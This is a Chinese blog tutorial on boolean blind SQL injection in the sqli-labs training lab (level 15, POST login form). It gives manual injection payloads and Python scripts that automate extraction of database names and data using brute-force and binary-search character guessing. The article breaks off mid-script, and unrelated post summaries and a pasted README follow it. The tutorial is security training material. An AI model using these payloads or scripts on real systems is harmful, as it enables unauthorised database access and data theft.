从原理到脚本:用Python3实现sqli-labs布尔盲注自动化攻击(附完整代码)

sqli-labs关卡15:POST型单引号布尔盲注实战解析与自动化脚本实现 本文深入解析了sqli-labs第15关POST型单引号布尔盲注的实战过程。通过手工探测锁定注入点与闭合方式,详细阐述了利用布尔逻辑逐位猜解数据库名、表名及用户数据的核心原理。文章重点分享了高效的Python自动化脚本实现方案,包括二分法猜解算法与脚本健壮性优化,并探讨了应对常见过滤的绕过技巧,最后从防御角度给出了防范此类SQL注入攻击的实用建议。 阅读详情

从原理到脚本:用Python3实现sqli-labs布尔盲注自动化攻击(附完整代码)

布尔盲注,这个听起来有些拗口的技术名词,实际上是Web安全领域中一种极具挑战性的攻击手法。想象一下,你面对一个看似普通的登录页面,无论输入什么,它都只会礼貌地告诉你“登录成功”或“登录失败”,没有任何详细的错误信息。这种情况下,传统的SQL注入手段往往束手无策,但布尔盲注却能像侦探一样,通过观察页面最细微的变化,一步步揭开数据库的神秘面纱。

我在实际渗透测试项目中多次遇到过这种场景。记得有一次,客户的一个关键系统前端看起来坚不可摧,所有错误都被精心隐藏。但正是通过布尔盲注,我们最终发现了隐藏在深处的SQL注入漏洞。这种“无声”的攻击方式,往往比那些直接报错的注入更加隐蔽,也更难防御。

1. 布尔盲注的核心原理:从“是与否”中提取信息

布尔盲注的本质,是利用应用程序对SQL查询结果的不同响应来推断数据库信息。当攻击者构造特定的SQL条件时,如果条件为真,页面会显示某种特征(比如“登录成功”);如果条件为假,则显示另一种特征(比如“登录失败”)。通过反复构造不同的条件,攻击者可以像玩“猜数字”游戏一样,逐步猜出数据库的内容。

1.1 布尔盲注的基本工作流程

布尔盲注攻击通常遵循一个清晰的逻辑链条:

  1. 识别注入点:找到存在SQL注入漏洞的参数
  2. 确定闭合方式:判断SQL语句的闭合字符(单引号、双引号等)
  3. 验证布尔条件:构造简单的真/假条件,观察页面响应差异
  4. 逐位猜解:从数据库名、表名到具体数据,一步步猜解每个字符

让我用一个简单的例子来说明这个过程。假设有一个存在布尔盲注漏洞的URL:

http://target.com/page.php?id=1

攻击者可能会尝试:

-- 测试注入点
http://target.com/page.php?id=1' and 1=1 -- 
http://target.com/page.php?id=1' and 1=2 -- 

-- 猜解数据库名长度
http://target.com/page.php?id=1' and length(database())=8 -- 

-- 猜解数据库名第一个字符
http://target.com/page.php?id=1' and ascii(substr(database(),1,1))>100 -- 

注意:在实际测试中,--后面的空格很重要,它确保注释符正确生效。有些情况下可能需要使用#或/* */作为注释符。

1.2 关键SQL函数解析

布尔盲注依赖几个核心的SQL函数,理解这些函数是掌握盲注技术的基础:

函数 作用 示例 说明
length() 返回字符串长度 length(database()) 获取当前数据库名的字符数
substr() 截取子字符串 substr(database(),1,1) 从数据库名中截取第1个字符
ascii() 获取字符的ASCII码 ascii('a') 返回97,用于字符比较
mid() 与substr功能类似 mid(database() from 1 for 1) 替代substr的另一种写法

在sqli-labs第15关中,我们面对的是基于POST提交的单引号布尔盲注。与GET请求不同,POST请求的数据不会显示在URL中,这要求我们的脚本能够处理表单提交。靶场的登录逻辑大致如下:

SELECT * FROM users WHERE username='$username' AND password='$password'

当我们在用户名或密码字段注入布尔条件时,服务器会根据条件真假返回不同的页面内容。这种差异可能很细微——可能只是一个单词的变化、一个CSS类的不同,甚至是响应长度的差异。

2. 手工测试:理解布尔盲注的每一个步骤

在编写自动化脚本之前,我们先通过手工测试来深入理解布尔盲注的每个环节。这个过程虽然繁琐,但对于理解原理至关重要。

2.1 确定注入点与闭合方式

首先,我们需要确认是否存在SQL注入漏洞。对于POST类型的注入,我们通常使用Burp Suite或浏览器的开发者工具来修改请求参数。

测试步骤:

  1. 正常登录测试:使用已知的正确凭证(如admin/admin)登录,观察成功页面的特征
  2. 布尔条件测试:在用户名或密码字段添加布尔条件
    • 真条件:admin' or '1'='1
    • 假条件:admin' or '1'='2
  3. 观察响应差异:对比两个请求的响应内容

如果真条件和假条件返回的页面有明显差异(比如一个显示"Login Successful",另一个显示"Login Failed"),那么很可能存在布尔盲注漏洞。

2.2 猜解数据库信息

确认存在漏洞后,我们就可以开始系统性地猜解数据库信息了。这个过程就像在黑暗中摸索,每一步都需要谨慎验证。

猜解数据库名长度:

-- 测试数据库名是否大于7个字符
username: admin' or length(database())>7#
password: (任意值)

-- 测试数据库名是否大于8个字符  
username: admin' or length(database())>8#
password: (任意值)

通过反复调整数字,我们可以确定数据库名的确切长度。如果>7返回真而>8返回假,那么数据库名长度就是8。

猜解数据库名:

知道了长度后,我们需要逐个字符猜解。以猜解第一个字符为例:

-- 测试第一个字符的ASCII码是否大于100
username: admin' or ascii(substr(database(),1,1))>100#

-- 测试是否大于110
username: admin' or ascii(substr(database(),1,1))>110#

-- 测试是否等于115
username: admin' or ascii(substr(database(),1,1))=115#

这个过程需要重复进行,直到确定每个字符的ASCII码值,然后转换为对应的字符。

2.3 系统化信息收集流程

完整的布尔盲注信息收集通常包括以下步骤:

  1. 当前数据库名 → 2. 所有数据库名 → 3. 指定数据库的表名 → 4. 指定表的列名 → 5. 表数据

每个步骤都遵循相同的模式:先猜解数量,再猜解每个条目的长度,最后猜解具体内容。这个过程如果完全手工操作,可能需要数百甚至数千次请求,这正是我们需要自动化脚本的原因。

3. Python自动化脚本设计:从基础到优化

手工测试虽然有助于理解原理,但效率极低。一个中等复杂度的数据库,完全手工猜解可能需要数小时甚至数天。通过Python脚本,我们可以将这个时间缩短到几分钟。

3.1 基础脚本框架

让我们从最基础的脚本开始。这个脚本需要完成几个核心功能:

  1. 发送HTTP请求并解析响应
  2. 判断布尔条件的结果(真/假)
  3. 实现字符猜解逻辑
  4. 组织和管理猜解过程
import requests
import string
import time

class BooleanBlindSQLi:
    def __init__(self, target_url, success_indicator):
        """
        初始化布尔盲注检测器
        
        参数:
            target_url: 目标URL
            success_indicator: 成功响应的标识(如页面中的特定文本)
        """
        self.target_url = target_url
        self.success_indicator = success_indicator
        self.session = requests.Session()
        
        # 配置请求头,模拟浏览器行为
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'keep-alive'
        }
    
    def test_condition(self, payload):
        """
        测试布尔条件,返回True或False
        
        参数:
            payload: SQL注入payload
        返回:
            bool: 条件是否为真
        """
        try:
            # 构造POST数据
            data = {
                'uname': payload,
                'passwd': 'test',
                'submit': 'Submit'
            }
            
            # 发送请求
            response = self.session.post(
                self.target_url,
                data=data,
                headers=self.headers,
                timeout=10
            )
            
            # 检查响应中是否包含成功标识
            return self.success_indicator in response.text
            
        except requests.RequestException as e:
            print(f"请求失败: {e}")
            return False
    
    def get_database_length(self):
        """获取当前数据库名的长度"""
        print("[*] 正在猜解数据库名长度...")
        
        for length in range(1, 50):  # 假设数据库名不超过50个字符
            payload = f"admin' or length(database())={length}#"
            
            if self.test_condition(payload):
                print(f"[+] 数据库名长度: {length}")
                return length
        
        print("[-] 无法确定数据库名长度")
        return None

这个基础框架提供了最核心的功能。test_condition方法负责发送请求并判断条件真假,get_database_length方法演示了如何猜解数据库名长度。

3.2 逐字符猜解的实现

逐字符猜解是布尔盲注中最耗时的部分。最基本的实现方式是遍历所有可能的字符:

def get_database_name_bruteforce(self):
    """暴力破解方式获取数据库名"""
    db_name = ""
    length = self.get_database_length()
    
    if not length:
        return None
    
    print(f"[*] 开始猜解{length}个字符的数据库名...")
    
    # 定义可能的字符集(可根据实际情况调整)
    charset = string.ascii_lowercase + string.digits + "_"
    
    for position in range(1, length + 1):
        char_found = False
        
        for char in charset:
            # 构造测试payload
            payload = (
                f"admin' or ascii(substr(database(),{position},1))="
                f"{ord(char)}#"
            )
            
            if self.test_condition(payload):
                db_name += char
                print(f"[+] 第{position}位: '{char}' → 当前: {db_name}")
                char_found = True
                break
        
        if not char_found:
            # 尝试大写字母
            for char in string.ascii_uppercase:
                payload = (
                    f"admin' or ascii(substr(database(),{position},1))="
                    f"{ord(char)}#"
                )
                
                if self.test_condition(payload):
                    db_name += char
                    print(f"[+] 第{position}位: '{char}' → 当前: {db_name}")
                    char_found = True
                    break
        
        if not char_found:
            print(f"[-] 第{position}位字符猜解失败")
            db_name += "?"
    
    return db_name

这种方法简单直接,但效率很低。对于每个字符,最坏情况下需要尝试62次(26个小写字母+26个大写字母+10个数字)。如果数据库名有8个字符,就需要496次请求。对于更复杂的信息收集(如表名、列名、数据),请求次数会呈指数级增长。

3.3 二分法优化:大幅提升效率

二分查找算法可以将猜解每个字符所需的平均请求次数从O(n)降低到O(log n)。对于ASCII码可打印字符(32-126),使用二分法最多只需要7次请求就能确定一个字符。

def binary_search_char(self, sql_expression, position):
    """
    使用二分法猜解单个字符
    
    参数:
        sql_expression: SQL表达式,如"database()"
        position: 字符位置(从1开始)
    返回:
        str: 猜解到的字符,如果失败返回None
    """
    low, high = 32, 126  # ASCII可打印字符范围
    
    while low <= high:
        mid = (low + high) // 2
        
        # 测试字符是否大于中间值
        payload = (
            f"admin' or ascii(substr(({sql_expression}),"
            f"{position},1))>{mid}#"
        )
        
        if self.test_condition(payload):
            # 如果大于mid,在右半部分继续查找
            low = mid + 1
        else:
            # 测试是否等于mid
            payload = (
                f"admin' or ascii(substr(({sql_expression}),"
                f"{position},1))={mid}#"
            )
            
            if self.test_condition(payload):
                return chr(mid)  # 找到字符
            else:
                # 如果小于mid,在左半部分继续查找
                high = mid - 1
    
    return None  # 未找到字符

def get_database_name_binary(self):
    """使用二分法获取数据库名"""
    db_name = ""
    length = self.get_database_length()
    
    if not length:
        return None
    
    print(f"[*] 使用二分法猜解{length}个字符的数据库名...")
    
    for position in range(1, length + 1):
        char = self.binary_search_char("database()", position)
        
        if char:
            db_name += char
            print(f"[+] 进度: {db_name}")
        else:
            print(f"[-] 第{position}位字符猜解失败")
            break
    
    return db_name

二分法的优势非常明显。假设我们要猜解字符's'(ASCII码115):

  • 暴力破解:需要从'a'开始尝试,直到's',共19次尝试
  • 二分法:第一次比较>63,第二次比较>94,第三次比较>110,第四次比较>117,第五次比较>113,第六次比较>115,第七次比较=115,共7次尝试

随着字符集增大,二分法的优势更加明显。对于整个ASCII可打印字符集(95个字符),二分法最多只需要7次尝试,而暴力破解最多需要95次。

4. 完整自动化攻击脚本实现

现在,让我们将这些组件组合成一个完整的自动化攻击脚本。这个脚本将能够系统性地收集数据库的所有关键信息。

4.1 主控制器类设计

class SQLiAutomation:
    def __init__(self, target_url, success_text="success", failure_text="failed"):
        """
        初始化SQL注入自动化工具
        
        参数:
            target_url: 目标URL
            success_text: 成功响应的标识文本
            failure_text: 失败响应的标识文本
        """
        self.target_url = target_url
        self.success_text = success_text
        self.failure_text = failure_text
        self.injector = BooleanBlindSQLi(target_url, success_text)
        
        # 存储收集到的信息
        self.database_name = None
        self.tables = []
        self.columns = {}
        self.data = {}
    
    def run_full_attack(self):
        """执行完整的攻击流程"""
        print("=" * 60)
      
SQL注入实战:sqli-labs第七关通关秘籍(附Python自动化脚本) 本文深入解析了sqli-labs靶场第七关的布尔盲注与文件导出机制,提供了从手工判断闭合方式到构建健壮Python自动化脚本的完整实战指南。文章详细阐述了脚本的核心模块设计、通用爆破引擎实现以及针对数据库名、表名和关键数据的自动化提取流程,并探讨了二分查找优化与数据处理等高级技巧,旨在帮助学习者掌握自动化渗透测试工具链的构建方法。 阅读详情

相关推荐

从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)

本文通过Sqli-Labs靶场实战,详细拆解SQL注入的5种常见攻击姿势,包括GET参数注入、POST表单注入、HTTP头部注入等,并附赠Python自动化脚本。从技术原理到防御方案,帮助读者系统掌握SQL注入攻防技巧,提升Web安全防护能力。

weixin_33670786的博客 383

SQL注入——布尔盲注和时间盲注

在这两种注入方法里我们可以发现布尔盲注和时间盲注的区别只是在与判断命令是否执行成功的条件不同,整体思路是一样的,包括在第10关中,判断条件变成了图片,而我们只需要在脚本中更改相应的判断条件即可,sqlmap工具同样可以使用。整体来说盲注都是一样的,不一样的只是判断语句是否执行成功的条件而已。

m0_69151365的博客 1150

新手避坑指南:Sqli-labs靶场Less-5到Less-10盲注实战详解(含时间盲注脚本)

本文详细解析了Sqli-labs靶场中Less-5到Less-10的盲注技术,包括布尔盲注、时间盲注和报错盲注的原理与实战技巧。通过手工测试和Python自动化脚本开发,帮助新手快速掌握SQL注入的高级技术,提升渗透测试效率。文章还提供了防御盲注攻击的实用建议,适合网络安全学习者和从业者参考。

weixin_30839881的博客 478

别再让COGI拖慢你的SAP接口!手把手教你配置BAPI_PRODORDCONF_CREATE_TT的同步货物移动

本文深入解析SAP生产订单报工接口中的COGI问题,通过BAPI_PRODORDCONF_CREATE_TT的同步配置实战,解决异步更新导致的性能瓶颈。文章详细介绍了增强点配置和性能验证,帮助用户彻底消除COGI堆积,提升接口效率。

weixin_29214691的博客 482

camera 知识速查

本文总结了Camera开发中的常见问题排查方法和关键技术点。主要内容包括:I2C/MIPI不通的排查步骤、时序问题分析方法、Sensor/AF/Flash/PDAF的Bring Up流程、OTP调试方法、PDAF原理及调试、CTS/ITS问题解决思路、AE震荡解决方案、Systrace性能分析方法、Flicker产生原理、Tombstone问题定位等。还涉及V4L2框架解析、问题定位分层方法、Sensor Setting注意事项、时钟信号概念、第三方应用卡顿排查、大光圈概念、Monkey测试方法。

qq_41665131的博客 785

Frigate进阶玩法:如何用MQTT和Python脚本扩展你的自定义目标检测算法

本文详细介绍了如何通过MQTT和Python脚本扩展Frigate的自定义目标检测算法,无需修改源码即可实现特殊场景(如工业设备异常、农业病虫害识别)的高效检测。文章涵盖Frigate配置、外部检测服务构建、高级集成技巧及性能优化实践,帮助开发者灵活扩展智能监控能力。

weixin_42662293的博客 350

陀螺仪与加速度计的姿态融合——互补滤波

本篇文章我们来讲讲如何将陀螺仪和加速度计的数据结合起来,获取更准确的姿态数据,使用的是互补滤波的方法。

小白白学电子 2万+

Zotero PDF Translate插件实战:DeepL API免费申请与高效翻译配置指南

本文提供Zotero PDF Translate插件配置DeepL API的完整实战指南。详细介绍了如何免费申请DeepL API密钥,解决国内访问问题,并在插件中完成精细配置,实现文献阅读时的无缝划词翻译,大幅提升科研人员和学生的英文文献阅读效率。

rum55的博客 464

【异常】DeepSeek API HTTP 401 认证失败错误完整排查与解决方案

摘要:本文针对DeepSeek API开发中的HTTP 401认证失败错误进行深度解析,指出该错误属于不可重试的认证类问题。文章首先拆解错误日志关键字段,区分401与其他API错误的本质差异。随后提供优先级排序的全链路解决方案:1)检查API密钥有效性;2)规范请求头认证格式;3)排查账户权限状态;4)验证请求环境配置。最后建议通过新建测试密钥、使用官方示例代码或联系技术支持进行兜底处理。全文采用技术脱敏处理,为开发者提供系统性的401错误排查指南。(149字)

奶爸的编程之路,也就一周冷个三天 1538

[Research Tips] 我的zotero文献管理方案: 云端同步+iPad批注+overleaf笔记

文献管理一直是一个很头疼的事. 最初直接在paper上做笔记, 后来尝试各种各样的文献管理软件, 比如endnote, mendeley等, 再后来直接用excel. 每一种方案都不是很满意. 最近尝试了各种软件, 摸索出一个合适自己的文献管理方案, 分享给大家. 我的需求: 支持PDF内全文搜索. 支持笔记搜索. 支持同步 可以批注PDF. 支持word内引用 支持Tex笔记语法 支持标签化管理 目前的方案除了第二个需求, 其他的都支持. 就目前我的经验来说, 除了知网研学可以搜索笔记外, 其他软件都

落日之城 5318

开源鸿蒙具身机器人(ROS2框架):从内核驱动到智能算法的完整实践

本指导文档旨在为开发者提供完整的开源鸿蒙(OpenHarmony)具身机器人开发解决方案,涵盖从底层驱动到上层ROS2应用的全栈开发流程。文档结合OpenHarmony内核驱动移植技术和ROS2机器人操作系统,为具身机器人开发提供详细的技术指导。具身机器人(Embodied Robot)是指具有物理实体、能够感知环境并与之交互的智能机器人系统。感知-决策-执行闭环多模态传感器融合(视觉、听觉、触觉、力觉)实时环境感知与理解智能决策与规划精确运动控制执行具身智能特性物理世界交互能力。

m0_67505153的博客 1272

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain&#39;s apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath(&#39;DeepLearnToolbox&#39;));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand(&#39;state&#39;,0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W&#39;); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand(&#39;state&#39;,0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = &#39;sigm&#39;;%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, &#39;Too big error&#39;);```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand(&#39;state&#39;,0)sae = saesetup([784 100]);sae.ae{1}.activation_function = &#39;sigm&#39;;sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)&#39;)% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;;nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, &#39;Too big error&#39;);```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x&#39;,28,28,60000))/255;test_x = double(reshape(test_x&#39;,28,28,10000))/255;train_y = double(train_y&#39;);test_y = double(test_y&#39;);%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you&#39;ll get around 1.2% errorrand(&#39;state&#39;,0)cnn.layers = { struct(&#39;type&#39;, &#39;i&#39;) %input layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 6, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %sub sampling layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 12, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, &#39;Too big error&#39;);```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, &#39;Too big error&#39;);%% ex2 neural net with L2 weight decayrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex3 neural net with dropoutrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex4 neural net with sigmoid activation functionrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex5 plotting functionalityrand(&#39;state&#39;,0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = &#39;softmax&#39;; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand(&#39;state&#39;,0)nn = nnsetup([784 20 10]); nn.output = &#39;softmax&#39;; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

上一篇: 医疗编码员必备:DRG分组器WEB版和手机版功能对比与实战技巧
下一篇: SpringMVC 核心组件与工作流程全解析
github5actions
博客等级 码龄1天 0粉丝 1824原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值